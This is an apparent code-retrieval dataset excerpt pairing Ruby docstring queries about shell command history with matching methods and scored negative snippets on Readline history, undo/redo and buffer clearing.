query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Execute the history command.
def process_command(input) @args, @history = input.args, Mysh.input.history # The history command should not be part of the history. @history.pop pull_index || clear_history || show_history end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cmd_history argv\n setup argv\n msg run_cmd(\"history\")\n end", "def exec(command)\n @history << [command]\n end", "def history_do(lines = (Readline::HISTORY.size - 2))\n irb_eval lines\nend", "def history_do(lines = (Readline::HISTORY.size - 2))\n irb_eval lines\n nil\nend", "def history\r\n\r\n end", "def history; end", "def history; end", "def history; end", "def write_history; end", "def read_history\n\t\thistfile = HISTORY_FILE.expand_path\n\n\t\tif histfile.exist?\n\t\t\tlines = histfile.readlines.collect {|line| line.chomp }\n\t\t\tself.log.debug \"Read %d saved history commands from %s.\" % [ lines.length, histfile ]\n\t\t\tReadline::HISTORY.push( *lines )\n\t\telse\n\t\t\tself.log.debug \"History file '%s' was empty or non-existant.\" % [ histfile ]\n\t\tend\n\tend", "def read_history\n\t\thistfile = HISTORY_FILE.expand_path\n\n\t\tif histfile.exist?\n\t\t\tlines = histfile.readlines.collect {|line| line.chomp }\n\t\t\tself.log.debug \"Read %d saved history commands from %s.\" % [ lines.length, histfile ]\n\t\t\tReadline::HISTORY.push( *lines )\n\t\telse\n\t\t\tself.log.debug \"History file '%s' was empty or non-existant.\" % [ histfile ]\n\t\tend\n\tend", "def run(program,*arguments)\n @history << [program, *arguments]\n end", "def history=(_arg0); end", "def history=(_arg0); end", "def show_history\n pattern = Regexp.new(@args[0] || /./)\n\n @history.each_with_index do |item, index|\n puts \"#{index+1}: #{item}\" if item =~ pattern\n end\n end", "def remote_call_for_history(entity, options = {})\n remote_call_for_action(:history, entity, options)\n end", "def run(program,*args)\n @history << [program, *args]\n end", "def redo\n if(@history != nil)\n @history.redo\n end\n end", "def history\n @history ||= @repository.log(30, nil, path)\n end", "def history\n # blank\n end", "def interactive_history_forward e\n if not @history.at_end\n store_in_history\n @history.foreward\n restore_from_history\n end\n end", "def history=(value)\n @history = value\n end", "def history=(value)\n @history = value\n end", "def history\n @history ||= LEAP::Motion::Utils::History.new(options[:history_size])\n end", "def addCmdToHistory cmd\n @cmdHistory.insert(0, cmd)\n if @cmdHistory.size > 100\n @cmdHistory.delete @cmdHistory.last\n end\n nil\n end", "def history\n command = AccountHistory.call(@current_user)\n if command.success?\n @history = command.result\n render 'history.json.jbuilder', status: :ok\n else\n render json: {error: command.errors}, status: :bad_request\n end\n end", "def read_history\n unless @histfile\n dirname = ENV['HOME'] || ENV['HOMEPATH'] || File.expand_path('~')\n @histfile = File.join(dirname, @opts[:file_history])\n end\n @histsize ||= (ENV['HISTSIZE'] ? ENV['HISTSIZE'].to_i : @opts[:histsize])\n Readline.completion_proc = @opts[:complete]\n if File.exists?(@histfile)\n lines = IO::readlines(@histfile).last(@histsize).collect do\n |line| line.chomp\n end\n Readline::HISTORY.push(*lines)\n @history_io = File.new(@histfile, \"a\")\n else\n @history_io = File.new(@histfile, \"w\")\n end\n @history_io.sync = true\n @history_save = @opts[:history_save]\n end", "def run\n loop do\n prompt = self.class.prompt || \"#{`whoami`.chomp} $ \"\n cmd = @readline.readline prompt\n\n finish if cmd.nil? or cmd == 'exit'\n next if cmd.empty?\n @history << cmd\n execute cmd\n end\n end", "def append_history(_str)\r\n end", "def goto_end_of_history\r\n end", "def interactive_history_back e\n if not @history.at_beginning\n store_in_history\n @history.back\n restore_from_history\n end\n end", "def history(args)\n ## Capture User Input\n limit = +args['limit'] ? +args['limit'] : 10\n channel = args['channel']\n\n ## Fail if bad input.\n if (!channel)\n puts 'Missing Channel'\n return false\n end\n\n ## Get History\n return self._request([\n 'history',\n @subscribe_key,\n channel,\n '0',\n limit.to_s\n ]);\n end", "def read_history\n if ENV['HOME'] && File.exist?(history_file)\n File.readlines(history_file).reverse.each do |line|\n Readline::HISTORY << line\n end\n end\n end", "def history\n @memory.rewind\n @memory.read\n end", "def push(cmd)\n return if ignore?(cmd)\n\n self.size += 1\n Readline::HISTORY.push(cmd)\n end", "def redirection_history=(_arg0); end", "def _rl_start_using_history()\r\n using_history()\r\n @_rl_saved_line_for_history = nil\r\n end", "def history\n rest.get stats_path(:history) do |response|\n response_handler response\n end\n end", "def do_history_action(index)\n if (@editor_history_index > -1)\n actions = @editor_history[@editor_history_index]\n\n i = actions.size - 1\n while (i >= 0)\n type = actions[i][0]\n\n case type\n when \"tile\"\n tile = actions[i][index + 1]\n\n if (tile.image_index < 0)\n remove_tile(tile.x, tile.y, false)\n else\n set_tile(tile.x, tile.y, tile.image_index, tile.rotation)\n end\n when \"checkpoint\"\n checkpoint = actions[i][1]\n arr_index = actions[i][2]\n\n if (!remove_checkpoint(checkpoint, false))\n add_checkpoint_to_index(checkpoint, arr_index, false)\n end\n when \"car\"\n ii = (index == 0) ? i : (@editor_actions.size - 1 - i)\n car = actions[ii][index + 1]\n\n x = car[0]\n y = car[1]\n angle = car[2]\n\n place_car(x, y, angle, false)\n end\n\n i -= 1\n end\n\n update_minimap()\n end\nend", "def append_to_bash_history(cmd)\n File.open(ENV['HOME'] + '/.bash_history', 'a') {|f| f << cmd + \"\\n\"}\n end", "def store_history\n if ENV['HOME']\n File.open(history_file, \"w\") do |f|\n Readline::HISTORY.to_a.reverse[0..49].each do |item|\n f.puts(item)\n end\n end\n end\n end", "def to_history\n history = History.new\n values.each do |value|\n value[:time].each do |t|\n history << Command.new(value[:cmd], t.to_i)\n end\n end\n return history\n end", "def history(options={})\n param = { :uniq_id => @uniq_id }.merge options\n Storm::Base::SODServer.remote_list '/Server/history', param do |i|\n notification = Notification.new\n notification.from_hash i\n notification\n end\n end", "def replay\n ssh(self.join) unless @history.empty?\n end", "def replay\n ssh(self.join) unless @history.empty?\n end", "def save_history\n\t\thistfile = HISTORY_FILE.expand_path\n\n\t\tlines = Readline::HISTORY.to_a.reverse.uniq.reverse\n\t\tlines = lines[ -DEFAULT_HISTORY_SIZE, DEFAULT_HISTORY_SIZE ] if\n\t\t\tlines.length > DEFAULT_HISTORY_SIZE\n\n\t\tself.log.debug \"Saving %d history lines to %s.\" % [ lines.length, histfile ]\n\n\t\thistfile.open( File::WRONLY|File::CREAT|File::TRUNC ) do |ofh|\n\t\t\tofh.puts( *lines )\n\t\tend\n\tend", "def save_history\n\t\thistfile = HISTORY_FILE.expand_path\n\n\t\tlines = Readline::HISTORY.to_a.reverse.uniq.reverse\n\t\tlines = lines[ -DEFAULT_HISTORY_SIZE, DEFAULT_HISTORY_SIZE ] if\n\t\t\tlines.length > DEFAULT_HISTORY_SIZE\n\n\t\tself.log.debug \"Saving %d history lines to %s.\" % [ lines.length, histfile ]\n\n\t\thistfile.open( File::WRONLY|File::CREAT|File::TRUNC ) do |ofh|\n\t\t\tofh.puts( *lines )\n\t\tend\n\tend", "def set_history\n @history = History.find(params[:id])\n end", "def set_history\n @history = History.find(params[:id])\n end", "def set_history\n @history = History.find(params[:id])\n end", "def historic_copy_to_history\n historic_record_class.create_history_from_current!(self)\n historic_options[:after].to_proc.call(self) if historic_options[:after]\n end", "def shell_output\n $shell_history ||= []\n cmd = get_string(\"Enter shell command:\", :maxlen => 50) do |f|\n require 'canis/core/include/rhistory'\n f.extend(FieldHistory)\n f.history($shell_history)\n end\n if cmd && !cmd.empty?\n run_command cmd\n $shell_history.push(cmd) unless $shell_history.include? cmd\n end\n end", "def history\r\n []\r\n end", "def save_history\n IRB.conf[:SAVE_HISTORY]\n end", "def position(command)\n history.index(command.to_s)\n end", "def history_file\n dir['history']\n end", "def history\n History\n end", "def history\n @history ||= @repo.log.path(path).to_a\n end", "def set_history\n @history = History.find(params[:id])\n end", "def finish\n @config.save_history(@history.to_a)\n puts\n exit\n end", "def hist_file\n hfile = File.open(\"#{self.history_file}\", 'r')\n hfile.each do |line|\n line.chomp!\n ::Readline::HISTORY.push(line)\n end\n hfile.close\n end", "def history=(history)\n if !history.nil? && history.to_s.length > 255\n fail ArgumentError, 'invalid value for \"history\", the character length must be smaller than or equal to 255.'\n end\n\n if !history.nil? && history.to_s.length < 0\n fail ArgumentError, 'invalid value for \"history\", the character length must be great than or equal to 0.'\n end\n\n @history = history\n end", "def set_history\n @history = History.find(params[:id])\n end", "def set_history\n @history = History.find(params[:id])\n end", "def history\n RailsCommits::Request.new('repos/rails/rails/commits', @token, @count, @author).run\n end", "def history(file=nil)\n if file\n File.open(file, \"w\") do |f|\n f.puts IRB::ReadlineInputMethod::HISTORY.to_a\n end\n else\n puts IRB::ReadlineInputMethod::HISTORY.to_a\n end\nend", "def write_history\n date = Time.now.send(\"beginning_of_#{self.class.config[:delete_from]}\") # ustawia okres w ktorym usuwamy stara historie. domyslnie jeden dzień\n self.send(self_class_name+'_histories').find_all_from_beginning_date(date).each {|ch| ch.destroy } if self.has_history_from?(date)\n \"History::#{self_class_name.camelize}History\".constantize.new(:date => Time.now, :owner => self, :value => self).save\n end", "def last_cmds(n=1)\n puts Readline::HISTORY.entries[-(n+1)..-2].join(\"\\n\")\nend", "def clear_history()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_clear_history(@handle.ptr)\n end", "def history(session_name = nil)\n query_params = session_name ? build_params(session: get_session_id(session_name)) : ''\n response = get(\"#{admin_url}/history?#{query_params}\")\n body = parse_body(response)\n\n raise body[:message] unless body.is_a?(Array)\n\n body.map do |entry|\n HistoryResponse.new(entry)\n end\n end", "def mpim_history(options = {})\n throw ArgumentError.new('Required arguments :channel missing') if options[:channel].nil?\n options = options.merge(channel: channels_id(options)['channel']['id']) if options[:channel]\n post('mpim.history', options)\n end", "def history\n return nil unless tracked?\n @history ||= $repo.log.path(@name)\n end", "def history(tag, start_time, end_time, opts = {\n limit: 1000, outsiders: 0, history_format: 0, retrieval_type: 0\n })\n parse_rest(\n rest_request(\n 'History',\n history_query_body(tag, start_time, end_time, opts)\n )\n )\n end", "def history\n generic_index(true)\n end", "def recall\n history_item_array = File.open(HISTORY_FILE).to_a\n last_controller.instance_variable_set(:@history, history_item_array) # should be current controller FIXME\n\n # if i want to evaluate, i'd do it here.\n \n history_item_array.join \"\\n\"\n end", "def make_history_line_current(entry)\r\n _rl_replace_text(entry.line, 0, @rl_end)\r\n _rl_fix_point(1)\r\n if (@rl_editing_mode == @vi_mode)\r\n # POSIX.2 says that the `U' command doesn't affect the copy of any\r\n # command lines to the edit line. We're going to implement that by\r\n # making the undo list start after the matching line is copied to the\r\n # current editing buffer.\r\n rl_free_undo_list()\r\n end\r\n if (@_rl_saved_line_for_history)\r\n @_rl_saved_line_for_history = nil\r\n end\r\n end", "def write_history\n return super if SqueezeHistory.disabled?\n config[:history] = squeezed_history\n super\n end", "def clear_history\n if @args[0] == 'clear'\n @history.clear\n else\n false\n end\n end", "def undo\n if(@history != nil)\n @history.undo\n end\n end", "def history\n return @history\n end", "def history\n return @history\n end", "def history\n @history.dup\n end", "def status\n @command_history.last\n end", "def history_added=(_arg0); end", "def readline_with_hist_management(prompt = \"> \")\n line = Readline.readline(prompt, true)\n return \"\" if line.nil?\n if line =~ /^\\s*$/ or Readline::HISTORY.to_a[-2] == line\n Readline::HISTORY.pop\n end\n line\nend", "def history?\n true\n end", "def p4_history\n history p4_versions do |version|\n Dir.chdir \"../#{version}\" do\n flog_flay\n end\n end\n end", "def call\n update_steps_history\n clear_more_then_10_steps\n determinate_back_link_url\n end", "def execution_history(symbol = 'XBTUSD', timestamp = Date.today)\n get 'executionHistory', symbol: symbol, timestamp: timestamp\n end", "def history?\n true\n end", "def save_history(instance,args)\n invocation = instance.instance_variable_get(\"@_invocations\").to_a[0]\n classes = invocation[0].to_s\n name = invocation[1].first\n classes.gsub!(/Thor::Sandbox::/,\"\")\n classes.gsub!(/::/,\":\")\n classes.downcase!\n options = [args,instance.options]\n history = Bio::Ngs::Record.new(Bio::Ngs::HISTORY_FILE)\n history.save(classes+\":\"+name,options)\n end", "def help\n puts \"Usage: git file-history filename\"\n puts \" Show blame history for a file\"\n exit 1\nend", "def history\n Readline::HISTORY.to_a\nend", "def send_command(string_to_execute)\n command! <<~VIML\n call histadd(\":\", #{VimlValue.dump(string_to_execute)})\n VIML\n\n history_updated = with_ignore_cache do\n became_truthy_within?(5.seconds) do\n echo(func('histget', ':', -1)) == string_to_execute\n end\n end\n raise unless history_updated\n\n command('let &undolevels=&undolevels')\n press! \":#{string_to_execute}\"\n send_keys :enter\n end", "def forward\n history_navigate(delta: 1)\n end", "def store_in_history\n if current = @history.current\n current.cursor = @info.index('insert')\n current.yview = @info.yview[0]\n end\n end", "def join\n @history.map { |command| command.join(' ') }.join(' && ')\n end", "def add_to_history(page); end", "def next_history\n if @history_index && @history_index > 0\n @history_index -= 1\n else\n @history_index = @history.size - 1\n end\n\n self.value = @history[@history_index]\n end", "def history(id_or_state = 'master', &block)\n return to_enum(:history, id_or_state) unless block_given?\n\n revision = revisions[id_or_state]\n\n while(revision)\n yield revision\n\n revision = revision.previous\n end\n end" ]
[ "0.82982504", "0.7437089", "0.70565736", "0.70539194", "0.6882794", "0.67524683", "0.67524683", "0.67524683", "0.67152274", "0.6689233", "0.6689233", "0.6688908", "0.66859615", "0.66859615", "0.668394", "0.6637459", "0.6569617", "0.6440064", "0.64347005", "0.6387546", "0.6365409", "0.63626486", "0.63626486", "0.636069", "0.6248529", "0.6203143", "0.6128517", "0.6074195", "0.6072375", "0.60700583", "0.60511094", "0.6039665", "0.6037596", "0.6028749", "0.6015612", "0.6003957", "0.60003835", "0.5978658", "0.597036", "0.5969518", "0.5955547", "0.5951665", "0.5943555", "0.59375644", "0.59375644", "0.59270245", "0.59270245", "0.5913109", "0.5913109", "0.5913109", "0.5860018", "0.58555335", "0.5851637", "0.5841748", "0.5832733", "0.5818931", "0.5809188", "0.57950497", "0.578941", "0.57822585", "0.57740074", "0.5769234", "0.57518697", "0.57501435", "0.5746062", "0.5740121", "0.57081103", "0.5697322", "0.56973", "0.5690444", "0.56899744", "0.56621414", "0.5656998", "0.5656008", "0.56508636", "0.5631265", "0.5606374", "0.55892223", "0.55889326", "0.5573182", "0.5573182", "0.5569794", "0.5561744", "0.5546838", "0.554683", "0.5545878", "0.5543482", "0.5537823", "0.5519658", "0.551507", "0.55109316", "0.55052197", "0.5504334", "0.5496742", "0.5492069", "0.54740965", "0.54699916", "0.5464925", "0.5460895", "0.54567105" ]
0.66784734
15
Deal with history index arguments
def pull_index index = @args[0].to_i if (1..@history.length) === index Mysh.input.instance_options[:initial] = @history[index-1] else false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def history=(_arg0); end", "def history=(_arg0); end", "def history\n generic_index(true)\n end", "def history\r\n\r\n end", "def history; end", "def history; end", "def history; end", "def index=(_arg0); end", "def redirection_history=(_arg0); end", "def history_added=(_arg0); end", "def add_to_search_history(*args)\n super\n\n session[:history_counter] ||= 0\n session[:history_counter] += 1\n end", "def write_history; end", "def initialize\n @index = 0\n @history = []\n end", "def do_history_action(index)\n if (@editor_history_index > -1)\n actions = @editor_history[@editor_history_index]\n\n i = actions.size - 1\n while (i >= 0)\n type = actions[i][0]\n\n case type\n when \"tile\"\n tile = actions[i][index + 1]\n\n if (tile.image_index < 0)\n remove_tile(tile.x, tile.y, false)\n else\n set_tile(tile.x, tile.y, tile.image_index, tile.rotation)\n end\n when \"checkpoint\"\n checkpoint = actions[i][1]\n arr_index = actions[i][2]\n\n if (!remove_checkpoint(checkpoint, false))\n add_checkpoint_to_index(checkpoint, arr_index, false)\n end\n when \"car\"\n ii = (index == 0) ? i : (@editor_actions.size - 1 - i)\n car = actions[ii][index + 1]\n\n x = car[0]\n y = car[1]\n angle = car[2]\n\n place_car(x, y, angle, false)\n end\n\n i -= 1\n end\n\n update_minimap()\n end\nend", "def index\n history = File.open(@current)\n line = history.readline.rstrip\n line =~ /(\\d+)$/ # get the index\n $1.to_i\n end", "def cmd_history argv\n setup argv\n msg run_cmd(\"history\")\n end", "def history\n # blank\n end", "def history_log_params\n end", "def index ; @index ; end", "def add_to_history(page); end", "def show_history\n pattern = Regexp.new(@args[0] || /./)\n\n @history.each_with_index do |item, index|\n puts \"#{index+1}: #{item}\" if item =~ pattern\n end\n end", "def indexes(*rest) end", "def indexes(*rest) end", "def index\n @history_items = HistoryItem.all\n end", "def index; @index; end", "def attempt_history_index(index)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = AttemptRef.new(Native.Run_attempt_history_index(@handle.ptr, index))\n result\n end", "def redirection_history; end", "def update!(**args)\n @history = args[:history] unless args[:history].nil?\n @history_id = args[:history_id] unless args[:history_id].nil?\n @next_page_token = args[:next_page_token] unless args[:next_page_token].nil?\n end", "def index\n @histories = History.all.reverse_order\n end", "def update!(**args)\n @index = args[:index] if args.key?(:index)\n end", "def update!(**args)\n @index = args[:index] if args.key?(:index)\n end", "def update!(**args)\n @index = args[:index] if args.key?(:index)\n end", "def update!(**args)\n @index = args[:index] if args.key?(:index)\n end", "def history\r\n []\r\n end", "def history_added; end", "def safe_add_index(*args, **options); end", "def nextMenuItemIndex _args\n \"nextMenuItemIndex _args;\" \n end", "def get_history(page_token = nil); end", "def where_history()\r\n @history_offset\r\n end", "def append_history(_str)\r\n end", "def update!(**args)\n @arg_name = args[:arg_name] if args.key?(:arg_name)\n @index = args[:index] if args.key?(:index)\n end", "def rl_yank_nth_arg_internal(count, ignore, history_skip)\r\n pos = where_history()\r\n if (history_skip>0)\r\n history_skip.times { previous_history() }\r\n end\r\n entry = previous_history()\r\n history_set_pos(pos)\r\n if entry.nil?\r\n rl_ding()\r\n return -1\r\n end\r\n\r\n arg = history_arg_extract(count, count, entry.line)\r\n if (arg.nil? || arg=='')\r\n rl_ding()\r\n arg = nil\r\n return -1\r\n end\r\n\r\n rl_begin_undo_group()\r\n\r\n _rl_set_mark_at_pos(@rl_point)\r\n\r\n # Vi mode always inserts a space before yanking the argument, and it\r\n # inserts it right *after* rl_point.\r\n if (@rl_editing_mode == @vi_mode)\r\n rl_vi_append_mode(1, ignore)\r\n rl_insert_text(\" \")\r\n end\r\n\r\n rl_insert_text(arg)\r\n arg = nil\r\n rl_end_undo_group()\r\n return 0\r\n end", "def rewrite_history\n\t#Argument::Truth = \"NO, you're not.\"\nend", "def demo2_history\n @id = params[:id].to_i\n @item_name = @item_names[@id]\n @home_loc = @home_locs[@id]\n end", "def [](index); @args[index] end", "def max_history; end", "def max_history; end", "def update_steps_history # rubocop:disable Metrics/AbcSize\n if history.nil?\n log_action('Creating first step into the back link history')\n session[:back_link_history] = { '1' => page }\n elsif last_step_page != page\n return clear_unused_steps if back_button && history\n\n log_action('Adding step to the back link history')\n session[:back_link_history][next_step] = page\n end\n end", "def history\n @history ||= @repository.log(30, nil, path)\n end", "def rl_reverse_search_history(sign, key)\r\n rl_search_history(-sign, key)\r\n end", "def index(arg, args = {})\n if arg.is_a?(ActiveRecord::Base)\n result_ids(args).index(arg.id)\n else\n result_ids(args).index(arg.to_s.to_i)\n end\n end", "def index(index)\n @_chewy_index = index\n end", "def goto_end_of_history\r\n end", "def rewind\n @history_idx = -1\n end", "def construct_index\n end", "def index\n @search_histories = SearchHistory.all\n end", "def history_do(lines = (Readline::HISTORY.size - 2))\n irb_eval lines\n nil\nend", "def set_history\n @history = History.find(params[:id])\n end", "def set_history\n @history = History.find(params[:id])\n end", "def set_history\n @history = History.find(params[:id])\n end", "def set_history\n @history = History.find(params[:id])\n end", "def set_history\n @history = History.find(params[:id])\n end", "def rl_forward_search_history(sign, key)\r\n rl_search_history(sign, key)\r\n end", "def history=(value)\n @history = value\n end", "def history=(value)\n @history = value\n end", "def get_prehistoric_action(history1, history2)\n shorter_size = history1.size < history2.size ? history1.size : history2.size\n shorter_size = @history_length if shorter_size > @history_length\n index = shorter_size+1\n @chromosome[-index]\n end", "def next_history\n if @history_index && @history_index > 0\n @history_index -= 1\n else\n @history_index = @history.size - 1\n end\n\n self.value = @history[@history_index]\n end", "def index()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.SegmentHistoryElement_index(@handle.ptr)\n result\n end", "def history_set_pos(pos)\r\n if (pos > @history_length || pos < 0 || @the_history.nil?)\r\n return (0)\r\n end\r\n @history_offset = pos\r\n 1\r\n end", "def set_history\n @history = History.find(params[:id])\n end", "def history\n @history ||= LEAP::Motion::Utils::History.new(options[:history_size])\n end", "def next_history()\r\n (@history_offset == @history_length) ? nil : @the_history[@history_offset+=1]\r\n end", "def define_index_args(query, args)\n args = { controller: :observations,\n action: :index,\n matrix: true,\n include: [:name, :location, :user, :rss_log,\n { thumb_image: :image_votes }] }.merge(args)\n\n # Add some alternate sorting criteria.\n links = [\n [\"name\", :sort_by_name.t],\n [\"date\", :sort_by_date.t],\n [\"user\", :sort_by_user.t],\n [\"created_at\", :sort_by_posted.t],\n [(query.flavor == :by_rss_log ? \"rss_log\" : \"updated_at\"),\n :sort_by_updated_at.t],\n [\"confidence\", :sort_by_confidence.t],\n [\"thumbnail_quality\", :sort_by_thumbnail_quality.t],\n [\"num_views\", :sort_by_num_views.t]\n ]\n args[:sorting_links] = links\n\n # Paginate by letter if sorting by user.\n case query.params[:by]\n when \"user\", \"reverse_user\"\n args[:letters] = \"users.login\"\n # Paginate by letter if sorting by name.\n when \"name\", \"reverse_name\"\n args[:letters] = \"names.sort_name\"\n end\n args\n end", "def history_do(lines = (Readline::HISTORY.size - 2))\n irb_eval lines\nend", "def index\n @history_data = HistoryDatum.all\n end", "def remote_call_for_history(entity, options = {})\n remote_call_for_action(:history, entity, options)\n end", "def init_history history\n\n history.set_editable false\n history.set_can_focus false\n history.set_justification 1\n\n end", "def index\n @job_histories = JobHistory.all\n end", "def history\n rest.get stats_path(:history) do |response|\n response_handler response\n end\n end", "def update!(**args)\n @index = args[:index] if args.key?(:index)\n @level = args[:level] if args.key?(:level)\n end", "def index\r\n build_index unless @index\r\n @index\r\n end", "def _lex_index_offsets=(_arg0); end", "def _lex_index_offsets=(_arg0); end", "def _lex_index_offsets=(_arg0); end", "def _lex_index_offsets=(_arg0); end", "def index\n @index ||= RecordHistory.new(sibling_versions, self.class).index(self)\n end", "def current\n if @history_idx < 0\n [ @history_idx, nil ]\n else\n [ @history_idx, @history[@history_idx] ]\n end\n end", "def setting_index\n end", "def history(circuit)\n raise NotImplementedError\n end", "def write_history\n return super if SqueezeHistory.disabled?\n config[:history] = squeezed_history\n super\n end", "def save_history(instance,args)\n invocation = instance.instance_variable_get(\"@_invocations\").to_a[0]\n classes = invocation[0].to_s\n name = invocation[1].first\n classes.gsub!(/Thor::Sandbox::/,\"\")\n classes.gsub!(/::/,\":\")\n classes.downcase!\n options = [args,instance.options]\n history = Bio::Ngs::Record.new(Bio::Ngs::HISTORY_FILE)\n history.save(classes+\":\"+name,options)\n end", "def index\r\n @index ||= 0\r\n end", "def index_hot_activity(params)\n end", "def index\n @index ||= 1\n end", "def run(program,*arguments)\n @history << [program, *arguments]\n end", "def focussed_index\n @current_index # 2009-01-07 14:35 \n end", "def set_ToIndex(value)\n set_input(\"ToIndex\", value)\n end", "def set_ToIndex(value)\n set_input(\"ToIndex\", value)\n end", "def set_ToIndex(value)\n set_input(\"ToIndex\", value)\n end", "def set_ToIndex(value)\n set_input(\"ToIndex\", value)\n end" ]
[ "0.7564619", "0.7564619", "0.73215413", "0.6908015", "0.68832916", "0.68832916", "0.68832916", "0.6801588", "0.66809386", "0.66545606", "0.64433247", "0.6372733", "0.6369166", "0.63658506", "0.6307738", "0.6287485", "0.6218259", "0.6184385", "0.61588496", "0.61080766", "0.6079913", "0.60727876", "0.60727876", "0.6050827", "0.5990352", "0.5961663", "0.5937469", "0.59129626", "0.5910163", "0.5897434", "0.5897434", "0.5897434", "0.5897434", "0.5888706", "0.5883443", "0.5873441", "0.58294713", "0.5829001", "0.5823707", "0.5819925", "0.5814868", "0.58066744", "0.57997453", "0.5795868", "0.57580376", "0.57425934", "0.57425934", "0.57396233", "0.5735134", "0.57031006", "0.5701401", "0.5697375", "0.5693845", "0.5689408", "0.5679979", "0.56774104", "0.56743187", "0.56698793", "0.56694", "0.5666356", "0.5666356", "0.5666356", "0.5665077", "0.56601125", "0.56601125", "0.5657792", "0.56574476", "0.56546474", "0.56494725", "0.56439304", "0.56305444", "0.56242836", "0.5616656", "0.55832285", "0.55804837", "0.55764633", "0.5574858", "0.5568343", "0.55665064", "0.5565358", "0.5564375", "0.55637544", "0.55637544", "0.55637544", "0.55637544", "0.556329", "0.5554049", "0.55492795", "0.5546854", "0.55429465", "0.55336046", "0.5516751", "0.55150294", "0.551339", "0.55104333", "0.5509524", "0.5502729", "0.5502729", "0.5502729", "0.5502729" ]
0.64106697
11
Clear the history buffer.
def clear_history if @args[0] == 'clear' @history.clear else false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def clear\n synchronize do\n erase_history\n end\n end", "def clear_history\n while ! Readline::HISTORY.empty? do\n Readline::HISTORY.pop\n end\n end", "def clear_history()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_clear_history(@handle.ptr)\n end", "def clear_history\n #TODO: Use Delete Private Data Dialog?\n opera_desktop_action(\"Clear visited history\")\n opera_desktop_action(\"Clear typed in history\")\n end", "def clear_history\n #TODO: Use Delete Private Data Dialog?\n opera_desktop_action(\"Clear visited history\")\n opera_desktop_action(\"Clear typed in history\")\n end", "def invalidate_history!\n @history = nil\n end", "def clear_buffer\n buffer.clear\n end", "def clear_buffer\n @buffer.clear\n end", "def clear\n if session[:history].clear\n flash[:notice] = I18n.t('blacklight.search_history.clear.success')\n else\n flash[:error] = I18n.t('blacklight.search_history.clear.failure')\n end\n\n redirect_back fallback_location: blacklight.search_history_path\n end", "def clear\n if session[:history].clear\n flash[:notice] = \"Cleared your search history.\"\n else\n flash[:error] = \"There was a problem clearing your search history.\"\n end\n redirect_to :back\n end", "def clear\n @buffer.clear\n end", "def clear\n if session[:history].clear\n flash[:notice] = I18n.t('blacklight.search_history.clear.success')\n else # NOTE: 0% coverage for this case\n flash[:error] = I18n.t('blacklight.search_history.clear.failure')\n end\n go_back(fallback: blacklight.search_history_path)\n end", "def clearBuffer() \n @buffer = \"\" ;\n end", "def clear_accumulation_buffer!\n @buffer = \"\"\n @buffer_mode = nil\n @buffered_lines = []\n end", "def rewind\n @history_idx = -1\n end", "def reset!\n @buffer = ''\n end", "def clear\n if session[:history].clear\n #flash[:notice] = I18n.t('blacklight.search_history.clear.success')\n else\n flash[:error] = I18n.t('blacklight.search_history.clear.failure') \n end\n redirect_to :back\n end", "def clear\n @monitor.synchronize {\n new_buffer\n }\n end", "def clear_buffer_cache!\n @buffers = nil\n end", "def undo\n if(@history != nil)\n @history.undo\n end\n end", "def clear\n @output_buffer=\"\"\n @binding_rebuild_count=0\n @xyz123page_blurbs=Set.new\n @args=nil\n end", "def clear_buffer!\n @out_mutex.synchronize do\n @buffer.clear\n end\n end", "def clear() end", "def clear() end", "def reset!\n @buffer = buffer.reset!\n end", "def clearRedo\n\t\t@redo.clear\n\tend", "def clear\n writeln(\"clear\")\n end", "def clear\n @screen_data = []\n end", "def reset\n @buffer = ''\n @length = 0\n @position = 0\n end", "def clear!; end", "def clear!; end", "def clear!; end", "def clear_unused_steps\n log_action('Clearing future steps from the back link history')\n current_step_keys = history.select { |k, _v| k <= previous_step }.keys\n session[:back_link_history] = history.slice(*current_step_keys)\n end", "def pop\n self.size -= 1\n Readline::HISTORY.pop\n end", "def clear\n end", "def clear\n end", "def clear!\n end", "def flush_buffer\n buf = @@output_buffer.dup\n @@output_buffer.clear\n buf\n end", "def clear\n end", "def clear\n @window.clear\n @position = [0, 0]\n end", "def clear\n do_clear\n end", "def clear; end", "def clear; end", "def clear; end", "def clear; end", "def clear; end", "def clear; end", "def clear; end", "def clear\n end", "def clear\n end", "def clear\n end", "def clear\n say \"\\e[2J\\e[H\"\n end", "def clear\n @lines.clear\n end", "def clear_changes!\n @changes.clear\n end", "def clear\n # clear the lineage\n @lineage.clear\n # if the visited hash is not shared, then clear it\n @visited.clear unless @options.has_key?(:visited)\n end", "def redo\n if(@history != nil)\n @history.redo\n end\n end", "def clear!\n context_manager.clear!\n breadcrumbs.clear!\n end", "def clear\n current_state.clear\n end", "def clear_buffer!\n @out_mutex.synchronize do\n @buffer = ''.encode(\"UTF-8\")\n @out_update = false\n end\n end", "def reset\n clear\n @position = 0\n @current_index = 0\n end", "def reset_buffer(new_buf = '')\n @buf.replace new_buf\n @index = 0\n end", "def reset_buffer(new_buf = '')\n @buf.replace new_buf\n @index = 0\n end", "def undo buffer\n @frames[buffer].undo buffer\n end", "def clear; puts \"\\e[2J\" end", "def clear\n home\n self.track = []\n end", "def clear!\n @cache = {}\n end", "def clear\n $stdout.print \"\\n\"\n $stdout.flush\n end", "def clear_capture\n return unless @_capture\n @_buffer.clear\n end", "def history\n @memory.rewind\n @memory.read\n end", "def clear_all\n Terminal.move_up(previous_draw_amount_of_lines)\n Terminal.clear_screen_from_cursor\n end", "def clear\n\n end", "def reset\n writeln('reset')\n clearQueue()\n end", "def clear_log\n @messages = []\n end", "def clear\n send_cmd \"clear\"\n nil\n end", "def clear_screen\n\t\tputs \"Clearing screen\"\n\t\tsystem(CLEAR_COMMAND)\n\tend", "def reset_screen_clearing\n @clear_screen = false\n @clear_screen_code = \"\\e[H\\e[2J\"\n end", "def clear\n @hash.clear\n self\n end", "def clear_log\n request('clearLog')\n end", "def clear\n hashed.clear\n list.clear\n end", "def clear_screen\n CLEAR_SCREEN\n 